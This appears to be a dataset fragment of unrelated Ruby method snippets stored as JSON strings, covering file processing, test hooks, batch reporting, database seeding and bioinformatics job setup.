"def before_perform\n init\n\n @pdbfile = @basename+\".pdb\"\n params_to_file(@pdbfile, 'sequence_input', 'sequence_file')\n @outfile = @basename+\".out\"\n logger.debug \"Outfile: #{@outfile}\"\n @paramsfile = @basename+\".params\"\n logger.debug \"Paramsfile: #{@paramsfile}\"\n #parameters\n\n @chain1_letter = params['chain1_letter'] ? params['chain1_letter'] : \"\"\n @chain1_letter.upcase!\n @chain1_start = params['chain1_start'] ? params['chain1_start'] : \"\"\n @chain1_end = params['chain1_end'] ? params['chain1_end'] : \"\"\n @chain2_letter = params['chain2_letter'] ? params['chain2_letter'] : \"\"\n @chain2_letter.upcase!\n @chain2_start = params['chain2_start'] ? params['chain2_start'] : \"\"\n @chain2_end = params['chain2_end'] ? params['chain2_end'] : \"\"\n @chain3_letter = params['chain3_letter'] ? params['chain3_letter'] : \"\"\n @chain3_letter.upcase!\n @chain3_start = params['chain3_start'] ? params['chain3_start'] : \"\"\n @chain3_end = params['chain3_end'] ? params['chain3_end'] : \"\"\n @chain4_letter = params['chain4_letter'] ? params['chain4_letter'] : \"\"\n @chain4_letter.upcase!\n @chain4_start = params['chain4_start'] ? params['chain4_start'] : \"\"\n @chain4_end = params['chain4_end'] ? params['chain4_end'] : \"\"\n @periodicity = params['periodicity'] ? params['periodicity'] : \"\"\n @firstpos1 = params['first_position1'] ? params['first_position1'] : \"\"\n @firstpos1.downcase!\n @firstpos2 = params['first_position2'] ? params['first_position2'] : \"\"\n @firstpos2.downcase!\n @firstpos3 = params['first_position3'] ? params['first_position3'] : \"\"\n @firstpos3.downcase!\n @firstpos4 = params['first_position4'] ? params['first_position4'] : \"\"\n @firstpos4.downcase!\n @crick = params['crick'] ? \"1\" : \"0\"\n\n logger.debug \"Chain1: letter #{@chain1_letter}; start #{@chain1_start}; end #{@chain1_end}\"\n logger.debug \"Chain2: letter #{@chain2_letter}; start #{@chain2_start}; end #{@chain2_end}\"\n logger.debug \"Chain3: letter #{@chain3_letter}; start #{@chain3_start}; end #{@chain3_end}\"\n logger.debug \"Chain4: letter #{@chain4_letter}; start #{@chain4_start}; end #{@chain4_end}\"\n logger.debug \"Periodicity: #{@periodicity}\"\n logger.debug \"Crick: #{@crick}\"\n\n save_parameters\n end",
"def after_recorded\n end",
"def after_feature_element(scenario)\n scenario.failed? ? passed = 0 : passed = 1\n\n sql = \"UPDATE scenario_test_runs SET elapsed_time = #{Time.now - @scenario_time_start}, passed = #{passed},\n updated_at = now() WHERE id = #{@str_id}\"\n\n begin\n Database.query(sql) if @db_avail\n rescue => e\n puts \"There was an error saving the elapsed time: #{e.message}\"\n @db_avail = false\n end\n\n #update failure rate if configured\n if OpenStruct.new(YAML.load_file(METRICS_CONFIG_FILE)).failure_rate\n check_past_failures(@scenario.title)\n end\n\n if scenario.failed?\n begin\n save_links(scenario) if @db_avail\n rescue => e\n puts \"There was an error saving the links to the failed scenario: #{e.message}\"\n @db_avail = false\n end\n end\n #reset step counter when scenario is finished\n @step_counter = 0\n # clear the background flag - it seems to only happen once\n @background = false\n end",
"def file_name\n file_name = (\"./tmp/database_doings/doing_uniques/uniques_done.txt\")\n end",
"def index_commands\n File.foreach \"#{$userfile}\" do |line|\n\tline = line.chomp\n\tif !$unique_seq.include?(line)\n\t $unique_seq << line\n\tend\n end\n File.foreach \"#{$userfile}\" do |line|\n\tline = line.chomp\n\t$observation_seq << $unique_seq.index(line)\n end\nend",
"def after_recover\n end",
"def _setup_pcrs_and_seq_file_for_batch_tests\n @proj = Proj.find($proj_id) \n \n @proj.pcrs.destroy_all\n\n (0..4).each do |i|\n Pcr.create!(:fwd_primer => @primer1, :rev_primer => @primer2, :extract => @extract)\n end\n\n @proj.reload\n\n foo = File.new((File.dirname(__FILE__) + '/../fixtures/test_files/seqs.fasta'), \"w+\")\n foo.puts @proj.pcrs.collect{|p| \">seq_#{p.id}\\nACGTCGT\"}.join(\"\\n\\n\")\n foo.close\n\n @fasta_file = File.open((File.dirname(__FILE__) + '/../fixtures/test_files/seqs.fasta'), \"r\") \n end",
"def fix_sequence(part)\n\n if part.sequence[-3..-1] == 'ATG'\n puts \"--skipped #{part.biofab_id}\"\n return part\n else\n part.sequence += 'ATG'\n part.save!\n puts \"--fixed #{part.biofab_id}\"\n return part\n end\n\nend",
"def split_refseq\n # prepare output files\n system(%Q[cut -f4 #{$prepare_dir}/refseq_genes_result.tsv | cut -c1-5 | sort | uniq > #{$prepare_dir}/refp_prefix_list.txt ]) # get exist prefix list of protein_id\n FileUtils.mkdir_p(\"#{$prepare_dir}/refp\") unless File.exist?(\"#{$prepare_dir}/refp\")\n refp_output = {}\n File.open(\"#{$prepare_dir}/refp_prefix_list.txt\") do |f|\n f.each_line do |line|\n prefix = line.chomp.strip\n refp_output[prefix] = File.open(\"#{$prepare_dir}/refp/#{prefix}.dat\", \"w\")\n end\n end\n refp_output[\"no_protein_id\"] = File.open(\"#{$prepare_dir}/refp/no_protein_id.dat\", \"w\") # protein_id is optional\n\n File.open(\"#{$prepare_dir}/refseq_genes_result.tsv\") do |f|\n f.each_line do |line|\n columns = line.chomp.strip.split(\"\\t\")\n prefix = (columns[3].nil? || columns[3] == \"\") ? \"no_protein_id\" : columns[3][0..4] # protein_id is optional\n refp_output[prefix].puts line.chomp.strip\n end\n end\n refp_output.each do |k, v|\n v.flush\n v.close\n end\nend",
"def user_sequence\n #user0\n File.foreach \"history0.txt\" do |line|\n\tline = line.chomp\n\t$user0_seq << $unique_all_seq.index(line)\n end\n\n #user1\n File.foreach \"history1.txt\" do |line|\n\tline = line.chomp\n\t$user1_seq << $unique_all_seq.index(line)\n end\n\n #user2\n File.foreach \"history2.txt\" do |line|\n\tline = line.chomp\n\t$user2_seq << $unique_all_seq.index(line)\n end\nend",
"def doing_phrases_file_sort_and_unique\n a = File.readlines(\"./tmp/database_doings/doing_phrases/phrases_sorted.txt\")\n @megadeta = a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/database_doings/doing_phrases/phrases_ready_to_load.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n queue = \"\"\n puts queue\n\t @megadata_unique = @megadata.uniq\n queue << \"#{@megadata_unique}\"\n break unless @megadata_uniq\n consumer.transfer queue\n queue.clear\n raise StopIteration\n end \n consumer.transfer(producer, [])\n after_break\n end",
"def finish!\n # Create our sentinel file\n FileUtils.touch('/etc/.sorted')\n end",
"def after(&block)\n handle(1, &block)\n end",
"def process checkup\n ##\n # => Load seed.\n #\n begin\n rescue Exception => e\n \tServices::Slog.exception e\n end\n \n ## this should be simpler!!!\n begin\n \ti = 0\n \t#AgentMapping.where(:agent_id => id).each do |mapping|\n \t\t#Integration.where(:id => mapping.integration_id).each do |integration|\n self.integrations.each do |integration|\n \t\t\tintegration.templates.each do |t|\n \t\t\t\tServices::Slog.debug({:message => \"Sending #{identifier} for delivery by #{t.identifier}\", :module => \"Agent\", :task => \"process\", :extra => {:agent => identifier, :template => t.identifier, :payload => checkup[:payload].to_s, :destination => \"#{ENV[\"APP_HOST\"]}postman/deliver/#{t.identifier}.js\"}})\n \t\t\t\tcheckup[:payload].each do |payload|\n \t\t\t\t\tresponse = RestClient.post \"#{ENV[\"APP_HOST\"]}postman/deliver/#{t.identifier}.js\", payload\n \t\t\t\t\tcase response.code\n \t\t\t\t\twhen 200\n \t\t\t\t\t\ti = i + 1\n \t\t\t\t\t\t@event = Event.new({:payload => payload, :status => 100, :agent => self})\n \t\t\t\t\t\[email protected]\n \t\t\t\t\telse\n \t\t\t\t\t\tServices::Slog.warn({:message => \"Delivery failed for #{identifier} in #{t.identifier}\", :module => \"Agent\", :task => \"process\", :extra => {:agent => identifier, :template => t.identifier}})\n \t\t\t\t\tend \n \t\t\t\tend\n \t\t\tend\n \t\t#end\n \tend\n \tRestClient.post(\"#{ENV[\"APP_HOST\"]}fluxcapacitor/agents/#{id}/update_meta\", {:events_count => events_count + i, :last_check_at => Time.now}) if i > 1\n rescue Exception => e\n \tServices::Slog.exception e\n end\n \nend",
"def after_process(text_line)\n nil\n end",
"def insert_payment_partials(filename)\n lines = IO.readlines(filename)\n text = lines[2..-1].join\n\n text = replace_how_to_pay(text)\n text = replace_fee_table(text)\n\n File.write(filename, text)\n logger.info \"Created outcome '#{filename}'\"\n end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def finish; end",
"def doing_phrases_file_decomma\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/database_doings/doing_phrases/mysql_history_001.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n IO.foreach(\"./tmp/database_doings/doing_phrases/phrases_sorted.txt\") do |line| \n queue = \"\"\n puts queue\n #sequence_text = line.to_textual.de_comma\n sequence_text = line.to_textual\n queue << \"#{sequence_text}\\n\"\n break unless line\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end \n consumer.transfer(producer, [])\n after_break\n end",
"def after_examples(examples)\n # Output any multiline args that followed this step\n @multiline.each do |row|\n @data << row\n end\n @multiline = []\n end",
"def record_attendance_barcode( db )\n puts \"Recording attendance from barcode file\"\n \n filename = UI.enter( \"Enter the name of your file\" )\n attfile = File.new(filename,'r')\n \n sess = db.table( 'lab_sessions' )\n\n while line = attfile.gets\n \tstuff = line.split(',')\n \t#The barcode scanner uses an American date format, mm/dd/yy. This is stupid. We shall turn it into a REAL format.\n \tdateComps = stuff[3].split('/')\n \tdateComps[2] = dateComps[2].to_i+2000\n \tdate = dateComps[1]+'/'+dateComps[0]+'/'+dateComps[2].to_s\n \t#It also uses a 12 hour format for time, which needs to go away\n \ttime = DateTime.strptime(stuff[2], '%I:%M:%S %p')\n \ttime = time.strftime('%H:%M:%S')\n \ttheD = DateTime.parse(time+' '+date)\n \t#time to insert attendance into sessions!\n \tfor s in sess.all\n \t\tif (theD>DateTime.parse(s.to_hash['start_date']) && theD<DateTime.parse(s.to_hash['end_date']))\n \t\t\tunless s.to_hash['attended'].split(',').include? stuff[0]\n \t\t\t\tputs 'importing attendance'\n \t\t\t\ts.set 'attended' => s.to_hash['attended']+','+stuff[0]\n \t\t\tend\n \t\tend\n \tend\n end\nend",
"def after_test(_test); end",
"def after_test(_test); end",
"def after_test(_test); end",
"def after_complete_batch\n # => create output file\n @output_file = \"tmp/#{@batch_id.split('_').first}.xlsx\"\n package = Axlsx::Package.new\n error_sheet = package.workbook.add_worksheet(name: 'error')\n error_sheet.add_row ['error'] + @header\n success_sheet = package.workbook.add_worksheet(name: 'success')\n success_sheet.add_row @header\n package.serialize (@output_file)\n\n # => process success and error queues\n REDIS_BATCHES.lrange(@batch_success, 0, -1).each { |record| success_sheet.add_row(JSON.parse(record)) }\n REDIS_BATCHES.lrange(@batch_error, 0, -1).each { |record| error_sheet.add_row(JSON.parse(record)) }\n\n # => send file to batch owner\n package.serialize (@output_file)\n subject = \"#{REDIS_BATCHES.llen(@batch_success)} success, #{REDIS_BATCHES.llen(@batch_error)} errors\"\n # => lookup @batch_owner_id and send email\n\n # => set expiration for batch keys\n [@batch_counter, @batch_size, @batch_owner_id, @batch_success, @batch_error, @batch_header].each do |key|\n REDIS_BATCHES.expire(key, 1.week)\n end\n rescue => e\n Rails.logger.error \"#{self.name}.#{__method__} - #{e}\"\n end",
"def after_step(_step)\n step_match = _step.step_match\n if step_match.respond_to?(:to_rspec)\n @io.puts step_match.to_rspec(@table).indent(@scenario_indent + 2)\n end\n @table = nil\n end",
"def add_upper_body(db, name, complete, user_id)\n\tcomplete = \"incomplete\"\n\tdb.execute(\"INSERT INTO upper_body (name, complete, user_id) VALUES (?,?,?)\", [name, complete, user_id])\n\tputs \"added upper body workout\"\nend",
"def sequences_cleanup\n dump.gsub!(/^ id integer NOT NULL(,)?$/, ' id SERIAL\\1')\n dump.gsub!(/^ id bigint NOT NULL(,)?$/, ' id BIGSERIAL\\1')\n dump.gsub!(/^CREATE SEQUENCE [\\w\\.]+_id_seq\\s+(AS integer\\s+)?START WITH 1\\s+INCREMENT BY 1\\s+NO MINVALUE\\s+NO MAXVALUE\\s+CACHE 1;$/, '')\n dump.gsub!(/^ALTER SEQUENCE [\\w\\.]+_id_seq OWNED BY .*;$/, '')\n dump.gsub!(/^ALTER TABLE ONLY [\\w\\.]+ ALTER COLUMN id SET DEFAULT nextval\\('[\\w\\.]+_id_seq'::regclass\\);$/, '')\n dump.gsub!(/^-- Name: (\\w+\\s+)?id; Type: DEFAULT$/, '')\n dump.gsub!(/^-- .*_id_seq; Type: SEQUENCE.*/, '')\n end",
"def load1\nf = File.read(@filename)\nf.each_line do |line|\nif line.match('#undone')\n@pending << line\nelse\n@completed << line\nend\nend\nreturn @pending\nend",
"def after_block_boundary?; end",
"def finished_dumping(database)\n %Q{ -- Dumping of #{database} done ...}\n end",
"def post_process(file)\n if File.basename(file.to_s).match(/library/)\n oldfile = file\n file = file.to_s.sub(\"library\", @options[:lib_name_u])\n FileUtils.mv(oldfile, file)\n end\n if File.dirname(file.to_s).split(\"/\").last == \"library\"\n origdir = File.dirname(file.to_s)\n dirarr = origdir.split(\"/\")\n dirarr[dirarr.size-1] = @options[:lib_name_u]\n new_dir = File.join(dirarr)\n mkdir(new_dir)\n oldfile = file\n file = File.join(new_dir, File.basename(file))\n FileUtils.mv(oldfile, file)\n FileUtils.rmdir(origdir)\n end\n if file.to_s.match(/\\.seed$/)\n out_file = Pathname.new(file.to_s.sub(/\\.seed$/, ''))\n # Don't overwrite a file of the same name, unless they --force\n if copy_check(out_file)\n template = ::ERB.new(File.read(file))\n # This binding has access to any instance variables of\n # the ProjectCreator instance\n result = template.result(binding)\n File.open(file.to_s.sub(/\\.seed$/,''), 'w+') do |io|\n io.puts result\n end\n end\n # Remove the seed file whether we copied or not\n FileUtils.rm_f(file)\n end\n end",
"def doing_extract_data\n consumer = Fiber.new do |producer, queue|\n f = open(\"./tmp/database_doings/doing_phrases/phrases_ready_to_load.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n IO.foreach(\"./tmp/database_doings/doing_phrases/phrases_sorted.txt\") do |line| \n queue = \"\"\n puts queue\n sequence_text, sequence_creation, sequence_complete, sequence_lexigram, sequence_singular, sequence_lense, description, reference, anagram, name, phrase, research, external, internal, created_at = line.split(\"\\t\")\n extracted_data = sequence_text.to_textual\n queue << \"#{extracted_data}\\n\"\n break unless line\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end \n consumer.transfer(producer, [])\n after_break\n end",
"def batch_create\n uploaded_io = params[:coPilotFile].tempfile\n uploaded_io.set_encoding('iso-8859-1:utf-8')\n\n #Skip a line\n line = uploaded_io.gets\n #event_type = EventType.find(1)\n\n ActiveRecord::Base.transaction do\n while (line = uploaded_io.gets)\n fields = line.split(\"\\t\")\n timestamp = Time.at(convert_excel_timestamp(fields[0]))\n value = -1\n event_type = -1\n should_insert = true;\n comment = fields[36]\n\n if fields[2] == '1'\n #BG reading\n value = Float(fields[11])\n event_type = 1\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n\n elsif fields[2] == '2' && (fields[10] == '0' || fields[10] == '1')\n if fields[26].index(\"Pod activated\") != nil\n #New Pod activated\n value = 0.0\n event_type = 5\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => \"New Pod Activated\")\n else\n #Basal Rate change\n value = Float(fields[20])\n event_type = 2\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n end\n\n elsif fields[2] == '3' && (fields[10] == '0' || fields[10] == '1')\n #Bolus Intake\n value = Float(fields[20])\n event_type = 3\n comment = (fields[27] + \"<br/>\" + fields[36])\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n\n elsif fields[2] == '5'\n #food intake\n value = Float(fields[21])\n event_type = 4\n current_user.events.create(:eventtype_id => event_type, :value => value, :is_manual => false, :event_time => timestamp, :comment => comment)\n end\n end\n end\n\n redirect_to :controller => 'pages', :action => 'home' and return\n end",
"def fibering_files_lines_output\n# include ApplicationHelper # uncomment for console use\n# require './lib/sequencerings/textualfibers.rb' # uncomment for console use\n# include Textualfibers # uncomment for console use\n consumer = Fiber.new do |producer, queue|\n f = File.open(\"./lib/databasers/fibered_files_output.txt\", \"a\") do |f|\n queue = \"linezero\"\n loop do\n queue = producer.transfer(consumer, queue)\n break unless queue\n f.puts << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n queue = \"firststring\"\n puts queue\n open(\"./tmp/insert_research_lines.txt\", \"r\") do |f|\n #open(\"./tmp/insert_research_lines-02.txt\", \"r\") do |f|\n #open(\"./lib/databasers/fibered_files_input.txt\", \"r\") do |f|\n f.each do |line|\n sequence_text = line.to_textual.de_comma \n sequence_creation = sequence_text.to_textual.de_comma.de_space\n sequence_complete = sequence_text.to_textual.de_comma.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze\n description = \"research materials\"\n reference = \"net\"\n anagram = 0\n name = 0\n phrase = 0\n research = 1\n external = 0\n internal = 0\n queue = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{Time.now}\"\n break unless f\n consumer.transfer queue\n queue.clear\n end\n raise StopIteration\n end\n end\n consumer.transfer(producer, [])\n after_break\n end",
"def registdb\n # 【準備】登録用配列準備\n # バルク登録するため、columnsはフィールド名、valuesはレコードの配列準備\n columns = [:storepath, :video, :title, :owner, :recdate ]\n @svalues = []\n # valuesの説明。process_file()にて登録すべきレコードを以下のように\n # values.pushしておく。\n # values << [ \"aapath\", \"aafile\", \"aatitle\", \"aaowner\", Date.today]\n # values << [ \"bbpath\", \"bbfile\", \"bbtitle\", \"bbowner\", Date.today]\n # そして最後の最後に以下の1行でバルクインサートする。\n # registdb一番後ろでSaving.import(columns, values, validate: false)\n\n # 【主処理1】指定ディレクトリのファイル群でループして【副処理】実施\n # p Dir.pwd : 結果は、/vagrant/rails420/grpvideo_420U_plus2\n # カレントディレクトリからpublicに降りてパスを得る\n # Dir.chdir(\"xxx\")do 処理 end とすれば、プログラム実行カレント\n # ディレクトリを変更せず、ブロック内だけで処理できる。\n # uploads2から始まるフルパスが得られるわけだ。\n Dir.chdir(\"public\") do\n processing_dir='uploads2' # 将来これは引数で\n # uploads2以下すべてのディレクトリのすべてのファイルに\n # process_file処理\n Dir.glob([\"#{processing_dir}/**/*\"]).each do |dfname|\n unless File.directory?(dfname)\n process_file(dfname, @svalues) # ここで副処理へ\n end\n end\n end\n # カレントディレクトリからpublicに降りてパスを得た(ここまで)\n # 【主処理2=LAST】DBへバルクインサート\n\n Saving.import(columns, @svalues, validate: false)\n\n end",
"def finish\n @finish || @break_sequence\n end",
"def set_sequence\n if @file\n @job.sequence = \"\"\n @job.sequence << @file\n end\n @file = nil\n end",
"def partial_bidir_tmp(project, ref_ds)\n n = ref_ds.size\n\n # Read data first (threaded)\n tmp = File.join(project.path, 'doctor-bidirectional.tmp')\n FileUtils.mkdir_p(tmp)\n MiGA::Parallel.process(cli[:threads]) do |thr|\n file = File.join(tmp, \"#{thr}.json\")\n fh = File.open(file, 'w')\n [:aai, :ani].each do |metric|\n fh.puts \"# #{metric}\"\n ref_ds.each_with_index do |ds, idx|\n if idx % cli[:threads] == thr\n cli.advance('Reading:', idx + 1, n, false) if thr == 0\n row = read_bidirectional(ds, metric)\n fh.puts \"#{ds.name} #{JSON.fast_generate(row)}\" unless row.empty?\n end\n end\n end\n fh.puts '# end'\n fh.flush # necessary for large threaded runs\n fh.close\n if thr == 0\n cli.advance('Reading:', n, n, false)\n cli.say\n end\n end\n\n return tmp\n end",
"def post_process; end",
"def save_success_sequence(aa_sequence, nt_sequence, header, accession_no, organism, group, reference, uploader_name, uploader_email)\n\n new_sequence = CustomizedProteinSequence.new\n new_sequence.header = header\n new_sequence.uploader = \"USER\"\n new_sequence.uploader_name = uploader_name\n new_sequence.uploader_email = uploader_email\n new_sequence.group = group\n new_sequence.accession_no = accession_no # result[:header] should be accession no OR manually extract accession number from local blast db\n new_sequence.chain = aa_sequence\n new_sequence.reference = reference\n new_sequence.save!\n\n\n # don't ask user for nt sequence yet. probably ask later through email\n new_nt_sequence = CustomizedNucleotideSequence.new\n new_nt_sequence.header = header\n new_nt_sequence.uploader = \"USER\"\n new_nt_sequence.uploader_name = uploader_name\n new_nt_sequence.uploader_email = uploader_email\n new_nt_sequence.group = group\n new_nt_sequence.accession_no = accession_no\n new_nt_sequence.chain = nt_sequence\n new_sequence.reference = reference\n new_nt_sequence.save!\n\n\n end",
"def after_teardown; end",
"def after_file\n staged_root.join(\"after.sh\")\n end",
"def process_new\n # each time a job is run then then a note is made that the owning user\n # has run a job. This is so we can get a count of jobs even if the user\n # deletes them\n user = User.find_by_email(self.email)\n if user.runs[\"#{self.type}\"].blank?\n user.runs[\"#{self.type}\"] = 1\n else\n user.runs[\"#{self.type}\"] += 1\n end\n user.save\n\n # get the input file, if it has not already been loaded\n begin\n if self.infile.nil? and !self.inputurl.nil?\n self.get_infile unless (self.type == 'durden' or self.type == 'identkey')\n end\n rescue\n self.jobfail(\"Could not get input file\",\"could not get input file\")\n return\n end\n\n # before processing the job, write a brief summary to the log of this job. It\n # should be csv: type,user,id,date\n logfile = \"#{Vibrant::Application.config.dropbox}/oboe_log_#{Rails.env}.txt\"\n begin\n open(logfile, 'a') do |f|\n f.puts \"#{self.type},#{self.email},#{self.id},#{self.created_at}\"\n end\n rescue\n Rails.logger.error(\"Could not write to logfile!\")\n end\n \n # having got the file, we can now commence the processing\n begin\n self.send(\"process_new_#{self.type}\")\n rescue\n self.update_attributes(:status =>'not yet available')\n end\n end",
"def after_generate_callbacks; end",
"def post_process\n end",
"def done; end",
"def read_auto_clean_up=(_arg0); end",
"def addStartupTermData(filename)\n\tresponseText = open(Rails.root.join(\"db\", \"seed_data\", filename)).read\n\tresponseText.each_line do |curResponse|\t\n\t\tcurResponse = curResponse.strip.downcase # get rid of new lines and make everything lowercase\n\n\t\t# split the excel sheet into individual variables using split\n\t\ttimestamp, city, state, fboName, airportName, airportCode, hasFees, classificationDesc, fuelWaivesFees, landingFee, rampFee, facilityFee, callOutFee, hangarFee, contactPerson, lastContacted, multipleFbos, extraInfo, chartsCollected = curResponse.split(\"\\t\")\n\n\t\t# We didn't make a column for tie down fees, so they're in the ramp fee instead. \n\t\t# getTieDown fee returns an array, where the first index is the ramp fee, and the second is the tiedown fee. that code looks sexy\n\t\trampFee, tieDownFee = getTieDownFee(rampFee)\n\n\t\tfeeClassification = Classification.find_by( :classification_description => classificationDesc )\n\n# Try to find the airport from the airport name. If that doesn't work, then try the airport code\n\t\tcurAirport = Airport.find_by( :name => airportName)\n\t\tif curAirport.nil?\n\t\t\tcurAirport = Airport.find_by( :airport_code => airportCode )\n\t\t\t# If the airport wasn't found, try adding a k to the front of the airport code and try again\n\t\t\tif curAirport.nil? and airportCode.length == 3\n\t\t\t\tnewCode = \"k\" + airportCode\n\t\t\t\tcurAirport = Airport.find_by( :airport_code => newCode )\n\t\t\telsif\n\t\t\t# If the airport wasn't found, try removing the k from the front and trying again\n\t\t\t\tcurAirport.nil? and airportCode.length == 4\n\t\t\t\tnewCode = airportCode[1..3]\n\t\t\t\tcurAirport = Airport.find_by( :airport_code => newCode )\n\t\t\tend\n\t\tend\n\n\t\tif curAirport.nil?\n\t\t\t#puts \"name: \" + airportName + \", code: \" + airportCode\n\t\tend\n\n# Create a new FBO based on the data in the call sheet. There will probably be duplicates in the database, but at least we'll have this info\n\n\t\tif !curAirport.nil?\n\t\t\t#curFbo = Fbo.find_or_create_by( :name => fboName, :airport => curAirport, :classification => feeClassification )\n\t\t\tcurFbo = Fbo.find_or_create_by( :name => fboName, :airport => curAirport)\n\t# If the FBO has no fees\n\t\t\tif hasFees.strip == \"no\"\n\t\t\t\tcurCategory = Category.find_by( :category_description => \"flat rate\")\n\t\t\t\tFeeType.find_each do |curFeeType|\n\t\t\t\t\tif curFeeType.fee_type_description == \"call out\"\n\t\t\t\t\t\tsingleFeeHelper(callOutFee, curFbo, curFeeType.fee_type_description, \"flat rate\")\n\t\t\t\t\telsif curFeeType.fee_type_description == \"hangar\"\n\t\t\t\t\t\t# do nothing\n\t\t\t\t\telse\n\t\t\t\t\t\tsingleFeeHelper(\"0\", curFbo, curFeeType.fee_type_description, \"flat rate\")\n\t\t\t\t\t\t#Fee.find_or_create_by( :fee_type => curFeeType, :fbo => curFbo, :category => curCategory, :price => 0)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telsif feeClassification.nil? or classificationDesc == \"\"\n\t\t\t\t# do nothing\n\t\t\telse\n\n\t\t\t\tif !landingFee.nil?\n\t\t\t\t\tlandingFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"landing\", classificationDesc)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif !rampFee.nil?\n\t\t\t\t\trampFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"ramp\", classificationDesc)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\n\t\t\t\tif !tieDownFee.nil?\n\t\t\t\t\ttieDownFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"tie down\", classificationDesc)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tif !facilityFee.nil?\n\t\t\t\t\tfacilityFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"facility\", classificationDesc)\n\t\t\t\t\tend\t\t\n\t\t\t\tend\n\n\t\t\t\tif !callOutFee.nil?\n\t\t\t\t\tcallOutFee.split(\",\").each do |curFee|\n\t\t\t\t\t\tsingleFeeHelper(curFee, curFbo, \"call out\", classificationDesc)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\t#puts fboName\n\t\tend\n\tend\nend",
"def exec_seq(seq,blast_query)\n\n $LOG.debug \"[#{self.class.to_s}, seq: #{seq.seq_name}]: searching sequence repeated at input file\" \n\n [email protected]_param('truncated_input_file')\n \n blast = BatchBlast.new(\"-db #{fasta_input}\" ,'blastn',\" -task blastn-short -searchsp #{SIZE_SEARCH_IN_IGNORE} -evalue #{@params.get_param('blast_evalue_ignore_repeated')} -perc_identity #{@params.get_param('blast_percent_ignore_repeated')}\") #get contaminants\n \n p_start = @params.get_param('piro_repeated_start').to_i\n p_length = @params.get_param('piro_repeated_length').to_i\n \n \n blast_table_results = blast.do_blast(seq.seq_fasta[p_start,p_length]) #rise seq to contaminants executing over blast\n \n #blast_table_results = BlastTableResult.new(res)\n \n \n type = \"ActionIgnoreRepeated\" \n \n # @stats[:rejected_seqs]={} \n \n actions=[] \n blast_table_results.querys.each do |query|\n \n # puts \"BLAST IGUALES:\"\n # puts res.join(\"\\n\") \n if query.size>1 \n names = query.hits.collect{ |h| \n if h.align_len > (p_length-2)\n h.subject_id\n end\n }\n \n names.compact! \n \n # puts \"IGUALES:\" + names.size.to_s \n # puts names.join(',') \n \n if !names.empty?\n names.sort!\n\t\t\t\t \n if (names[0] != seq.seq_name) # Add action when the sequence is repeated \n\t\t\t\t # if true \n\t\t\t\t a = seq.new_action(0,0,type)\n\t\t\t\t a.message = seq.seq_name + ' equal to ' + names[0] \n\t\t\t\t actions.push a\n\t\t\t\t seq.seq_rejected=true \n\t\t\t\t seq.seq_rejected_by_message='repeated'\n\t\t\t\t seq.seq_repeated=true \n\t\t\t\t \n # @stats[:rejected_seqs]={'rejected_seqs_by_repe' => 1} \n add_stats('rejected_seqs','rejected_seqs_by_repe') \n # puts \"#{names[0]} != #{seq.seq_name} >>>>>>\" \n\t\t\t\t end \n end\n \n end \n \n end \n \n seq.add_actions(actions)\n \n end",
"def after_safe_load(file)\n end",
"def test_reuse_existing_chunks_when_append\n CheckFile @writer, @ioservice, @adlers, 'test content', ['test ', 'conte', 'nt']\n CheckFile @writer, @ioservice, @adlers, 'test content updated', ['test ', 'conte', 'nt', ' upda', 'ted']\n end",
"def after_sync\n end",
"def after\n @after\n end",
"def cleanup\n if @logfile #make sure there is a log file meaning keylog started and migration was successful, if used.\n finish_up if session_good?\n time_stamp(\"exited\")\n end\n end",
"def on_finish_batch; end",
